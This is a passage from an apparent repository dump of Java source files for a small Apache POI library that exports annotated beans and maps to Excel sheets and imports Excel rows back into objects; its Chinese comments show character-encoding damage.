    "content": "package com.jun.plugin.poi.impexp.excel;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.List;\n\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.poi.xssf.streaming.SXSSFWorkbook;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.poi.impexp.excel.annotation.ExcelField;\n\npublic class BeanExport extends BaseExportExcel{\n\tprivate static Logger log = LoggerFactory.getLogger(BeanExport.class);\n\tprivate List<Object[]> annotationList = new ArrayList<Object[]>();\n \t\n\t/**\n\t * 样式列表\n\t */\n\t\n\t\n\t\n\t\n\n\t/**\n\t * \n\t * @param cls //工作本默认的 class依据,如果调用createBeanSheet不传入class则使用此默认class\n\t * @param type 1,导出数据,2导出模板\n\t * @param groups\n\t */\n\tpublic BeanExport(Class<?> cls, int type, int... groups){\n\t\tthis.wb = new SXSSFWorkbook(500);\n\t\tthis.styles = createStyles(wb);\n\t\tinit(cls, type, groups);\n\t\tlog.debug(\"创建成功\");\n\t}\n\t\n\t/**\n\t * \n\t * @param cls //工作本默认的 class依据,如果调用createBeanSheet不传入class则使用此默认class\n\t * 默认到处数据和使用默认分�?\n\t */\n\tpublic BeanExport(Class<?> cls){\n\t\tthis(cls,1);\n\t}\n\t\n\t/**\n\t * \n\t * @param name\n\t * @param title\n\t * @param headerList\n\t * @param width\n\t * @return\n\t */\n\tpublic BeanSheel createBeanSheet(String name,String title,List<String> headerList,int[] width){\n\t\treturn new BeanSheel(title, headerList, width, this.wb, name, this.styles);\n\t}\n\t\n\t/**\n\t * \n\t * @param name\n\t * @param title\n\t * @param headers\n\t * @param width\n\t * @return\n\t */\n\tpublic BeanSheel createBeanSheet(String name,String title,String[] headers,int[] width){\n\t\treturn new BeanSheel(title,Lists.newArrayList(headers), width, this.wb, name, this.styles);\n\t}\n\t\n\t/**\n\t * \n\t * @param name\n\t * @param title\n\t * @param cls\n\t * @param type\n\t * @param groups\n\t * @return\n\t */\n\tpublic BeanSheel createBeanSheet(String name,String title,Class<?> cls, int type,int... groups){\n\t\treturn new BeanSheel(title, cls, type, this.wb, name, this.styles, groups);\n\t}\n\t\n\t/**\n\t * \n\t * @param name\n\t * @param title\n\t * @param cls\n\t * @return\n\t */\n\tpublic BeanSheel createBeanSheet(String name,String title,Class<?> cls){\n\t\treturn new BeanSheel(title, cls,1, this.wb, name, this.styles);\n\t}\n\t\n\t/**\n\t * \n\t * @param name\n\t * @param title\n\t * @return\n\t */\n\tpublic BeanSheel createBeanSheet(String name,String title){\n\t\treturn new BeanSheel(this.annotationList,this.headerList, this.width, name, title, wb, styles);\n\t}\n\t\n\t\n\n\n\n\n\t\n\tprivate void init(Class<?> cls, int type, int... groups){\n\t\tField[] fs = cls.getDeclaredFields();\n\t\tfor (Field f : fs){\n\t\t\tExcelField ef = f.getAnnotation(ExcelField.class);\n\t\t\tif (ef != null && (ef.type()==0 || ef.type()==type)){\n\t\t\t\tif (groups!=null && groups.length>0){\n\t\t\t\t\tboolean inGroup = false;\n\t\t\t\t\tfor (int g : groups){\n\t\t\t\t\t\tif (inGroup){\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor (int efg : ef.groups()){\n\t\t\t\t\t\t\tif (g == efg){\n\t\t\t\t\t\t\t\tinGroup = true;\n\t\t\t\t\t\t\t\tannotationList.add(new Object[]{ef, f});\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tannotationList.add(new Object[]{ef, f});\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Field sorting\n\t\tCollections.sort(annotationList, new Comparator<Object[]>() {\n\t\t\tpublic int compare(Object[] o1, Object[] o2) {\n\t\t\t\treturn new Integer(((ExcelField)o1[0]).sort()).compareTo(\n\t\t\t\t\t\tnew Integer(((ExcelField)o2[0]).sort()));\n\t\t\t};\n\t\t});\n\t\t// Initialize\n\t\tthis.width = new int[annotationList.size()];\n\t\tfor(int i=0;i<annotationList.size();i++){\n\t\t\tExcelField ef = (ExcelField)annotationList.get(i)[0];\n\t\t\tString t = ef.title();\n\t\t\t// 如果是导出数据，则去掉注�?\n\t\t\tif (type==1){\n\t\t\t\tString[] ss = StringUtils.split(t, \"**\", 2);\n\t\t\t\tif (ss.length==2){\n\t\t\t\t\tt = ss[0];\n\t\t\t\t}\n\t\t\t}\n\t\t    this.width[i]=ef.width();\n\t\t\tthis.headerList.add(t);\n\t\t}\n\t}\n\t\n\t\n\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/BeanSheel.java",
    "content": "package com.jun.plugin.poi.impexp.excel;\n\nimport java.lang.reflect.Field;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.xssf.streaming.SXSSFWorkbook;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.poi.impexp.excel.annotation.ExcelField;\n\n\npublic  class BeanSheel extends BaseSheel{\n\tprivate static Logger log = LoggerFactory.getLogger(BeanSheel.class);\n\t\n\t/**\n\t * 数据LIST\n\t */\n\tprivate List<Object> dataList;\n\t\n\tList<Object[]> annotationList =null;\n\n\t\n\n\t/**\n\t * 构�?函数\n\t * @param title 表格标题，传“空值�?，表示无标题\n\t * @param headerList 表头列表\n\t * @return \n\t */\n\tpublic BeanSheel(String title, List<String> headerList,int[] width,SXSSFWorkbook wb,String name,Map<String, CellStyle> styles) {\n\t\tsuper(wb, name, styles);\n\t\tinitialize(title, headerList,width);\n\t}\n\t\n\t\n\t/**\n\t * 构�?函数\n\t * @param title 表格标题，传“空值�?，表示无标题\n\t * @param cls 实体对象，�?过annotation.ExportField获取标题\n\t * @param type 导出类型�?:导出数据�?：导出模板）\n\t * @param groups 导入分组\n\t * @return \n\t */\n\tpublic BeanSheel(String title, Class<?> cls, int type,SXSSFWorkbook wb,String name,Map<String, CellStyle> styles ,int... groups) {\n\t\tsuper(wb, name, styles);\n\t\tinit(title, cls, type, groups);\n\t}\n\t\n\tpublic BeanSheel(List<Object[]> annotationList,List<String> headerList,int[] width,String name,String title,SXSSFWorkbook wb,Map<String, CellStyle> styles) {\n\t\tsuper(wb, name, styles);\n\t\tthis.annotationList = annotationList;\n\t\tinitialize(title, headerList,width);\n\t}\n\t/**\n\t * 初始�?\n\t * @param title 表格标题，传“空值�?，表示无标题\n\t * @param cls 实体对象，�?过annotation.ExportField获取标题\n\t * @param type 导出类型�?:导出数据�?：导出模板）\n\t * @param groups 导入分组\n\t * @return \n\t */\n\tprivate void init(String title, Class<?> cls, int type, int... groups){\n\t\t// Get annotation field \n\t\tField[] fs = cls.getDeclaredFields();\n\t\tfor (Field f : fs){\n\t\t\tExcelField ef = f.getAnnotation(ExcelField.class);\n\t\t\tif (ef != null && (ef.type()==0 || ef.type()==type)){\n\t\t\t\tif (groups!=null && groups.length>0){\n\t\t\t\t\tboolean inGroup = false;\n\t\t\t\t\tfor (int g : groups){\n\t\t\t\t\t\tif (inGroup){\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor (int efg : ef.groups()){\n\t\t\t\t\t\t\tif (g == efg){\n\t\t\t\t\t\t\t\tinGroup = true;\n\t\t\t\t\t\t\t\tannotationList.add(new Object[]{ef, f});\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tannotationList.add(new Object[]{ef, f});\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Field sorting\n\t\tCollections.sort(annotationList, new Comparator<Object[]>() {\n\t\t\tpublic int compare(Object[] o1, Object[] o2) {\n\t\t\t\treturn new Integer(((ExcelField)o1[0]).sort()).compareTo(\n\t\t\t\t\t\tnew Integer(((ExcelField)o2[0]).sort()));\n\t\t\t};\n\t\t});\n\t\t// Initialize\n\t\tList<String> headerList = Lists.newArrayList();\n\t\tint[] width = new int[annotationList.size()];\n\t\tfor(int i=0;i<annotationList.size();i++){\n\t\t\tExcelField ef = (ExcelField)annotationList.get(i)[0];\n\t\t\tString t = ef.title();\n\t\t\t// 如果是导出数据，则去掉注�?\n\t\t\tif (type==1){\n\t\t\t\tString[] ss = StringUtils.split(t, \"**\", 2);\n\t\t\t\tif (ss.length==2){\n\t\t\t\t\tt = ss[0];\n\t\t\t\t}\n\t\t\t}\n\t\t    width[i]=ef.width();\n\t\t\theaderList.add(t);\n\t\t}\n\t\tinitialize(title, headerList,width);\n\t}\n\t\n\t\n\t\n\n\tpublic <E> BeanSheel addData(List<E> list){\n\t\tfor (E e : list){\n\t\t\t\n\t\t\tint colunm = 0;\n\t\t\tRow row = this.addRow();\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\tfor (Object[] os : annotationList){\n\t\t\t\tExcelField ef = (ExcelField)os[0];\n\t\t\t\tObject val = null;\n\t\t\t\t// 获取�?\n\t\t\t\ttry{\n\t\t\t\t\tif (StringUtils.isNotBlank(ef.value())){\n\t\t\t\t\t\tval = Reflections.invokeGetter(e, ef.value());\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif (os[1] instanceof Field){\n\t\t\t\t\t\t\tval = Reflections.invokeGetter(e, ((Field)os[1]).getName());\n\t\t\t\t\t\t}\n//\t\t\t\t\t\telse if (os[1] instanceof Method){//现在只支持注解属性了�?\n//\t\t\t\t\t\t\tval = Reflections.invokeMethod(e, ((Method)os[1]).getName(), new Class[] {}, new Object[] {});\n//\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t// 如果是字典类型就获取字典的label\n//\t\t\t\t\tif (StringUtils.isNotBlank(ef.dictType())){\n//\t\t\t//\t\t\tval = DictUtils.getDictLabel(val==null?\"\":val.toString(), ef.dictType(), \"\");\n//\t\t\t\t\t}\n\t\t\t\t}catch(Exception ex) {\n\t\t\t\t\t// Failure to ignore\n\t\t\t\t\tlog.info(ex.toString());\n\t\t\t\t\tval = \"\";\n\t\t\t\t}\n\t\t\t\tthis.addCell(row, colunm++, val, ef.align(), ef.fieldType());\n\t\t\t\tsb.append(val + \", \");\n\t\t\t}\n\t\t\tlog.debug(\"成功写入: [\"+row.getRowNum()+\"] \"+sb.toString());\n\t\t}\n\t\treturn this;\n\t}\n\n\t\n\t\n\t\n\t\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/ExSheel.java",
    "content": "package com.jun.plugin.poi.impexp.excel;\n\npublic interface ExSheel {\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/ExportExcel.java",
    "content": "package com.jun.plugin.poi.impexp.excel;\n\nimport java.util.List;\n\npublic class ExportExcel {\n\t\n\tpublic static BeanExport BeanExport(Class<?> cls){\n\t\treturn new BeanExport(cls);\n\t}\n\t\n\tpublic static BeanExport BeanExport(Class<?> cls, int type, int... groups){\n\t\treturn new BeanExport(cls, type, groups);\n\t}\n\t\n\tpublic static MapExport mapExport(List<MapHeader> map){\n\t\treturn new MapExport(map);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/ImportExcel.java",
    "content": "\npackage com.jun.plugin.poi.impexp.excel;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.openxml4j.exceptions.InvalidFormatException;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.DateUtil;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.poi.impexp.excel.annotation.ExcelField;\n\n/**\n * 导入Excel文件（支持�?XLS”和“XLSX”格式）\n * @version 2013-03-10\n */\npublic class ImportExcel {\n\t\n\tprivate static Logger log = LoggerFactory.getLogger(ImportExcel.class);\n\t\t\t\n\t/**\n\t * 工作薄对�?\t */\n\tprivate Workbook wb;\n\t\n\t/**\n\t * 工作表对�?\t */\n\tprivate Sheet sheet;\n\t\n\t/**\n\t * 标题行号\n\t */\n\tprivate int headerNum;\n\t\n\t/**\n\t * 构�?函数\n\t * @param path 导入文件，读取第�?��工作�?\t * @param headerNum 标题行号，数据行�?标题行号+1\n\t * @throws InvalidFormatException \n\t * @throws IOException \n\t */\n\tpublic ImportExcel(String fileName, int headerNum) \n\t\t\tthrows InvalidFormatException, IOException {\n\t\tthis(new File(fileName), headerNum);\n\t}\n\t\n\t/**\n\t * 构�?函数\n\t * @param path 导入文件对象，读取第�?��工作�?\t * @param headerNum 标题行号，数据行�?标题行号+1\n\t * @throws InvalidFormatException \n\t * @throws IOException \n\t */\n\tpublic ImportExcel(File file, int headerNum) \n\t\t\tthrows InvalidFormatException, IOException {\n\t\tthis(file, headerNum, 0);\n\t}\n\n\t/**\n\t * 构�?函数\n\t * @param path 导入文件\n\t * @param headerNum 标题行号，数据行�?标题行号+1\n\t * @param sheetIndex 工作表编�?\t * @throws InvalidFormatException \n\t * @throws IOException \n\t */\n\tpublic ImportExcel(String fileName, int headerNum, int sheetIndex) \n\t\t\tthrows InvalidFormatException, IOException {\n\t\tthis(new File(fileName), headerNum, sheetIndex);\n\t}\n\t\n\t/**\n\t * 构�?函数\n\t * @param path 导入文件对象\n\t * @param headerNum 标题行号，数据行�?标题行号+1\n\t * @param sheetIndex 工作表编�?\t * @throws InvalidFormatException \n\t * @throws IOException \n\t */\n\tpublic ImportExcel(File file, int headerNum, int sheetIndex) \n\t\t\tthrows InvalidFormatException, IOException {\n\t\tthis(file.getName(), new FileInputStream(file), headerNum, sheetIndex);\n\t}\n\t\n\t/**\n\t * 构�?函数\n\t * @param file 导入文件对象\n\t * @param headerNum 标题行号，数据行�?标题行号+1\n\t * @param sheetIndex 工作表编�?\t * @throws InvalidFormatException \n\t * @throws IOException \n\t */\n\t//没这个包,不测试导入功能\n//\tpublic ImportExcel(MultipartFile multipartFile, int headerNum, int sheetIndex) \n//\t\t\tthrows InvalidFormatException, IOException {\n//\t\tthis(multipartFile.getOriginalFilename(), multipartFile.getInputStream(), headerNum, sheetIndex);\n//\t}\n\n\t/**\n\t * 构�?函数\n\t * @param path 导入文件对象\n\t * @param headerNum 标题行号，数据行�?标题行号+1\n\t * @param sheetIndex 工作表编�?\t * @throws InvalidFormatException \n\t * @throws IOException \n\t */\n\tpublic ImportExcel(String fileName, InputStream is, int headerNum, int sheetIndex) \n\t\t\tthrows InvalidFormatException, IOException {\n\t\tif (StringUtils.isBlank(fileName)){\n\t\t\tthrow new RuntimeException(\"导入文档为空!\");\n\t\t}else if(fileName.toLowerCase().endsWith(\"xls\")){    \n\t\t\tthis.wb = new HSSFWorkbook(is);    \n        }else if(fileName.toLowerCase().endsWith(\"xlsx\")){  \n        \tthis.wb = new XSSFWorkbook(is);\n        }else{  \n        \tthrow new RuntimeException(\"文档格式不正�?\");\n        }  \n\t\tif (this.wb.getNumberOfSheets()<sheetIndex){\n\t\t\tthrow new RuntimeException(\"文档中没有工作表!\");\n\t\t}\n\t\tthis.sheet = this.wb.getSheetAt(sheetIndex);\n\t\tthis.headerNum = headerNum;\n\t\tlog.debug(\"Initialize success.\");\n\t}\n\t\n\t/**\n\t * 获取行对�?\t * @param rownum\n\t * @return\n\t */\n\tpublic Row getRow(int rownum){\n\t\treturn this.sheet.getRow(rownum);\n\t}\n\n\t/**\n\t * 获取数据行号\n\t * @return\n\t */\n\tpublic int getDataRowNum(){\n\t\treturn headerNum+1;\n\t}\n\t\n\t/**\n\t * 获取�?���?��数据行号\n\t * @return\n\t */\n\tpublic int getLastDataRowNum(){\n\t\treturn this.sheet.getLastRowNum()+headerNum;\n\t}\n\t\n\t/**\n\t * 获取�?���?��列号\n\t * @return\n\t */\n\tpublic int getLastCellNum(){\n\t\treturn this.getRow(headerNum).getLastCellNum();\n\t}\n\t\n\t/**\n\t * 获取单元格�?\n\t * @param row 获取的行\n\t * @param column 获取单元格列�?\t * @return 单元格�?\n\t */\n\tpublic Object getCellValue(Row row, int column){\n\t\tObject val = \"\";\n\t\ttry{\n\t\t\tCell cell = row.getCell(column);\n\t\t\tif (cell != null){\n\t\t\t\tif (cell.getCellType() == Cell.CELL_TYPE_NUMERIC){\n\t\t\t\t\tval = cell.getNumericCellValue();\n\t\t\t\t}else if (cell.getCellType() == Cell.CELL_TYPE_STRING){\n\t\t\t\t\tval = cell.getStringCellValue();\n\t\t\t\t}else if (cell.getCellType() == Cell.CELL_TYPE_FORMULA){\n\t\t\t\t\tval = cell.getCellFormula();\n\t\t\t\t}else if (cell.getCellType() == Cell.CELL_TYPE_BOOLEAN){\n\t\t\t\t\tval = cell.getBooleanCellValue();\n\t\t\t\t}else if (cell.getCellType() == Cell.CELL_TYPE_ERROR){\n\t\t\t\t\tval = cell.getErrorCellValue();\n\t\t\t\t}\n\t\t\t}\n\t\t}catch (Exception e) {\n\t\t\treturn val;\n\t\t}\n\t\treturn val;\n\t}\n\t\n\t/**\n\t * 获取导入数据列表\n\t * @param cls 导入对象类型\n\t * @param groups 导入分组\n\t */\n\tpublic <E> List<E> getDataList(Class<E> cls, int... groups) throws InstantiationException, IllegalAccessException{\n\t\tList<Object[]> annotationList = Lists.newArrayList();\n\t\t// Get annotation field \n\t\tField[] fs = cls.getDeclaredFields();\n\t\tfor (Field f : fs){\n\t\t\tExcelField ef = f.getAnnotation(ExcelField.class);\n\t\t\tif (ef != null && (ef.type()==0 || ef.type()==2)){\n\t\t\t\tif (groups!=null && groups.length>0){\n\t\t\t\t\tboolean inGroup = false;\n\t\t\t\t\tfor (int g : groups){\n\t\t\t\t\t\tif (inGroup){\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor (int efg : ef.groups()){\n\t\t\t\t\t\t\tif (g == efg){\n\t\t\t\t\t\t\t\tinGroup = true;\n\t\t\t\t\t\t\t\tannotationList.add(new Object[]{ef, f});\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tannotationList.add(new Object[]{ef, f});\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Get annotation method\n\t\tMethod[] ms = cls.getDeclaredMethods();\n\t\tfor (Method m : ms){\n\t\t\tExcelField ef = m.getAnnotation(ExcelField.class);\n\t\t\tif (ef != null && (ef.type()==0 || ef.type()==2)){\n\t\t\t\tif (groups!=null && groups.length>0){\n\t\t\t\t\tboolean inGroup = false;\n\t\t\t\t\tfor (int g : groups){\n\t\t\t\t\t\tif (inGroup){\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfor (int efg : ef.groups()){\n\t\t\t\t\t\t\tif (g == efg){\n\t\t\t\t\t\t\t\tinGroup = true;\n\t\t\t\t\t\t\t\tannotationList.add(new Object[]{ef, m});\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tannotationList.add(new Object[]{ef, m});\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Field sorting\n\t\tCollections.sort(annotationList, new Comparator<Object[]>() {\n\t\t\tpublic int compare(Object[] o1, Object[] o2) {\n\t\t\t\treturn new Integer(((ExcelField)o1[0]).sort()).compareTo(\n\t\t\t\t\t\tnew Integer(((ExcelField)o2[0]).sort()));\n\t\t\t};\n\t\t});\n\t\t//log.debug(\"Import column count:\"+annotationList.size());\n\t\t// Get excel data\n\t\tList<E> dataList = Lists.newArrayList();\n\t\tfor (int i = this.getDataRowNum(); i < this.getLastDataRowNum(); i++) {\n\t\t\tE e = (E)cls.newInstance();\n\t\t\tint column = 0;\n\t\t\tRow row = this.getRow(i);\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\tfor (Object[] os : annotationList){\n\t\t\t\tObject val = this.getCellValue(row, column++);\n\t\t\t\tif (val != null){\n\t\t\t\t\tExcelField ef = (ExcelField)os[0];\n\t\t\t\t\t// If is dict type, get dict value\n\t\t\t\t\tif (StringUtils.isNotBlank(ef.dictType())){\n\t\t\t\t//\t\tval = DictUtils.getDictValue(val.toString(), ef.dictType(), \"\");\n\t\t\t\t\t\t//log.debug(\"Dictionary type value: [\"+i+\",\"+colunm+\"] \" + val);\n\t\t\t\t\t}\n\t\t\t\t\t// Get param type and type cast\n\t\t\t\t\tClass<?> valType = Class.class;\n\t\t\t\t\tif (os[1] instanceof Field){\n\t\t\t\t\t\tvalType = ((Field)os[1]).getType();\n\t\t\t\t\t}else if (os[1] instanceof Method){\n\t\t\t\t\t\tMethod method = ((Method)os[1]);\n\t\t\t\t\t\tif (\"get\".equals(method.getName().substring(0, 3))){\n\t\t\t\t\t\t\tvalType = method.getReturnType();\n\t\t\t\t\t\t}else if(\"set\".equals(method.getName().substring(0, 3))){\n\t\t\t\t\t\t\tvalType = ((Method)os[1]).getParameterTypes()[0];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t//log.debug(\"Import value type: [\"+i+\",\"+colunm+\"] \" + valType);\n\t\t\t\t\ttry {\n\t\t\t\t\t\tif (valType == String.class){\n\t\t\t\t\t\t\tval = String.valueOf(val.toString());\n\t\t\t\t\t\t}else if (valType == Integer.class){\n\t\t\t\t\t\t\tval = Double.valueOf(val.toString()).intValue();\n\t\t\t\t\t\t}else if (valType == Long.class){\n\t\t\t\t\t\t\tval = Double.valueOf(val.toString()).longValue();\n\t\t\t\t\t\t}else if (valType == Double.class){\n\t\t\t\t\t\t\tval = Double.valueOf(val.toString());\n\t\t\t\t\t\t}else if (valType == Float.class){\n\t\t\t\t\t\t\tval = Float.valueOf(val.toString());\n\t\t\t\t\t\t}else if (valType == Date.class){\n\t\t\t\t\t\t\tval = DateUtil.getJavaDate((Double)val);\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\tif (ef.fieldType() != Class.class){\n\t\t\t\t\t\t\t\tval = ef.fieldType().getMethod(\"getValue\", String.class).invoke(null, val.toString());\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\tval = Class.forName(this.getClass().getName().replaceAll(this.getClass().getSimpleName(), \n\t\t\t\t\t\t\t\t\t\t\"fieldtype.\"+valType.getSimpleName()+\"Type\")).getMethod(\"getValue\", String.class).invoke(null, val.toString());\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch (Exception ex) {\n\t\t\t\t\t\tlog.info(\"获取cell值[\"+i+\",\"+column+\"] error: \" + ex.toString());\n\t\t\t\t\t\tval = null;\n\t\t\t\t\t}\n\t\t\t\t\t// set entity value\n\t\t\t\t\tif (os[1] instanceof Field){\n\t\t\t\t\t\tReflections.invokeSetter(e, ((Field)os[1]).getName(), val);\n\t\t\t\t\t}else if (os[1] instanceof Method){\n\t\t\t\t\t\tString mthodName = ((Method)os[1]).getName();\n\t\t\t\t\t\tif (\"get\".equals(mthodName.substring(0, 3))){\n\t\t\t\t\t\t\tmthodName = \"set\"+StringUtils.substringAfter(mthodName, \"get\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\tReflections.invokeMethod(e, mthodName, new Class[] {valType}, new Object[] {val});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tsb.append(val+\", \");\n\t\t\t}\n\t\t\tdataList.add(e);\n\t\t\tlog.debug(\"读取成功: [\"+i+\"] \"+sb.toString());\n\t\t}\n\t\treturn dataList;\n\t}\n\n//\t/**\n//\t * 导入测试\n//\t */\n//\tpublic static void main(String[] args) throws Throwable {\n//\t\t\n//\t\tImportExcel ei = new ImportExcel(\"target/export.xlsx\", 1);\n//\t\t\n//\t\tfor (int i = ei.getDataRowNum(); i < ei.getLastDataRowNum(); i++) {\n//\t\t\tRow row = ei.getRow(i);\n//\t\t\tfor (int j = 0; j < ei.getLastCellNum(); j++) {\n//\t\t\t\tObject val = ei.getCellValue(row, j);\n//\t\t\t\tSystem.out.print(val+\", \");\n//\t\t\t}\n//\t\t\tSystem.out.print(\"\\n\");\n//\t\t}\n//\t\t\n//\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/MapExport.java",
    "content": "package com.jun.plugin.poi.impexp.excel;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.apache.poi.xssf.streaming.SXSSFWorkbook;\n\n\npublic class MapExport extends BaseExportExcel{\n\n\tprivate List<String> keyList = new ArrayList<String>();\n\tprivate List<MapHeader> map;\n\t\n\tpublic MapExport(List<MapHeader> map){\n\t\tthis.wb = new SXSSFWorkbook(500);\n\t\tthis.styles = createStyles(wb);\n\t\tinit(map);\n\t}\n\t\n\tpublic MapSheel createMapSheel(String name,String title,List<MapHeader> lh){\n\t\treturn new MapSheel(this.wb, this.styles, name, title, lh);\n\t}\n\t\n\tpublic MapSheel createMapSheel(String name,String title){\n\t\treturn new MapSheel(this.wb, this.styles, name, title,this.map, this.headerList, this.width, this.keyList);\n\t}\n\t\n\tprivate void init(List<MapHeader> lh){\n\t\tthis.width = new int[lh.size()];\n\t\tfor(int i=0;i<lh.size();i++){\n\t\t\tMapHeader mh= lh.get(i);\n\t\t\tthis.headerList.add(mh.getTitle());\n\t\t\tthis.keyList.add(mh.getMapKey());\n\t\t\tthis.width[i] = mh.getWidth();\n\t\t}\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/MapHeader.java",
    "content": "package com.jun.plugin.poi.impexp.excel;\n\npublic class MapHeader {\n\tprivate String title;\n\tprivate String mapKey;\n\tprivate int width=3000;\n\t\n\t\n\tpublic MapHeader(String title, String mapKey, int width) {\n\t\tsuper();\n\t\tthis.title = title;\n\t\tthis.mapKey = mapKey;\n\t\tthis.width = width;\n\t}\n\tpublic String getTitle() {\n\t\treturn title;\n\t}\n\tpublic void setTitle(String title) {\n\t\tthis.title = title;\n\t}\n\tpublic String getMapKey() {\n\t\treturn mapKey;\n\t}\n\tpublic void setMapKey(String mapKey) {\n\t\tthis.mapKey = mapKey;\n\t}\n\tpublic int getWidth() {\n\t\treturn width;\n\t}\n\tpublic void setWidth(int width) {\n\t\tthis.width = width;\n\t}\n\t\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/MapSheel.java",
    "content": "package com.jun.plugin.poi.impexp.excel;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.xssf.streaming.SXSSFWorkbook;\n\n\npublic class MapSheel extends BaseSheel{\n\n\tprivate List<MapHeader> map;\n\tprivate List<String> keyList;\n\tprotected MapSheel(SXSSFWorkbook wb, String name,\n\t\t\tMap<String, CellStyle> styles) {\n\t\tsuper(wb, name, styles);\n\t\t// TODO Auto-generated constructor stub\n\t}\n\t\n\tpublic MapSheel(SXSSFWorkbook wb,Map<String, CellStyle> styles,String name,String title,List<MapHeader> lh)\n\t{\n\t\tthis(wb, name, styles);\n\t\tinit(lh, title);\n\t}\n\t\n\tpublic MapSheel(SXSSFWorkbook wb,Map<String, CellStyle> styles,String name,String title,List<MapHeader> lh,List<String> headerList,int[] width,List<String> keyList){\n\t\tthis(wb, name, styles);\n\t\tthis.keyList = keyList;\n\t\tthis.map = lh;\n\t\tinitialize(title, headerList, width);\n\t}\n\t\n\t\n\tpublic MapSheel addData(List<Map<String,Object>> data){\n\t\tfor(int i = 0;i< data.size(); i++){\n\t\t\tRow row = addRow();\n\t\t\tfor(int j=0;j<keyList.size();j++){\n\t\t\t\taddCell(row, j,data.get(i).get(keyList.get(j)));\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn this;\n\t}\n\t\n\tprivate void init(List<MapHeader> lh,String title){\n\t\tList<String> headerList = new ArrayList<String>();\n\t\tint[] width = new int[lh.size()];\n\t\tfor(int i=0;i<lh.size();i++){\n\t\t\tMapHeader mh= lh.get(i);\n\t\t\theaderList.add(mh.getTitle());\n\t\t\tkeyList.add(mh.getMapKey());\n\t\t\twidth[i] = mh.getWidth();\n\t\t}\n\t\tinitialize(title, headerList, width);\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/Reflections.java",
